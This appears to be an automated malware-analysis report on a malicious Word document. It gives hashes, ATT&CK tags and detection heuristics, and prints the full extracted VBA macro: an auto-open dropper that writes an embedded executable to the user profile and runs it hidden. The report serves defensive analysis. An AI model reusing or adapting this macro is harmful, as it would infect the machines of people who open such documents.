Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1036703c382a5c80…

MALICIOUS

Office (OLE)

324.5 KB Created: 2012-11-21 11:00:00 Authoring application: Microsoft Macintosh Word First seen: 2015-09-20
MD5: 3f65e07c089508e3094bcd57254aeb80 SHA-1: 1cec16e45b40c5ec78ca7c1aca1adfa8978a2a7a SHA-256: 1036703c382a5c80f2b88a099e10d1af3f32e7fa09b90829a8f3a405edc46f39
234 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that is triggered when the document is opened. This macro attempts to write binary data to a file named 'NsAmyFePUWfWn.exe' in the user's profile directory and then execute it using the Shell function. This indicates a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Jkwqm7 = Shell(Jkwqm10, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Jkwqm2 = Environ("USERPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1817 bytes
SHA-256: 3db4c801e9fc9a23914a6ef274321c06db35d386dfc2dfb5c0317c24d91246e8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'**************************************************************

'*

'* MACRO CODE

'*

'**************************************************************

Sub Auto_Open()

    Jkwqm12

End Sub

Sub Jkwqm12()

    Dim Jkwqm7 As Integer

    Dim Jkwqm1 As String

    Dim Jkwqm2 As String

    Dim Jkwqm3 As Integer

    Dim Jkwqm4 As Paragraph

    Dim Jkwqm8 As Integer

    Dim Jkwqm9 As Boolean

    Dim Jkwqm5 As Integer

    Dim Jkwqm11 As String

    Dim Jkwqm6 As Byte

    Dim Gmsvjpkjky As String

    Gmsvjpkjky = "Gmsvjpkjky"

    Jkwqm1 = "NsAmyFePUWfWn.exe"

    Jkwqm2 = Environ("USERPROFILE")

    ChDrive (Jkwqm2)

    ChDir (Jkwqm2)

    Jkwqm3 = FreeFile()

    Open Jkwqm1 For Binary As Jkwqm3

    For Each Jkwqm4 In ActiveDocument.Paragraphs

        DoEvents

            Jkwqm11 = Jkwqm4.Range.Text

        If (Jkwqm9 = True) Then

            Jkwqm8 = 1

            While (Jkwqm8 < Len(Jkwqm11))

                Jkwqm6 = Mid(Jkwqm11, Jkwqm8, 4)

                Put #Jkwqm3, , Jkwqm6

                Jkwqm8 = Jkwqm8 + 4

            Wend

        ElseIf (InStr(1, Jkwqm11, Gmsvjpkjky) > 0 And Len(Jkwqm11) > 0) Then

            Jkwqm9 = True

        End If

    Next

    Close #Jkwqm3

    Jkwqm13 (Jkwqm1)

End Sub

Sub Jkwqm13(Jkwqm10 As String)

    Dim Jkwqm7 As Integer

    Dim Jkwqm2 As String

    Jkwqm2 = Environ("USERPROFILE")

    ChDrive (Jkwqm2)

    ChDir (Jkwqm2)

    Jkwqm7 = Shell(Jkwqm10, vbHide)

End Sub

Sub AutoOpen()

    Auto_Open

End Sub

Sub Workbook_Open()

    Auto_Open

End Sub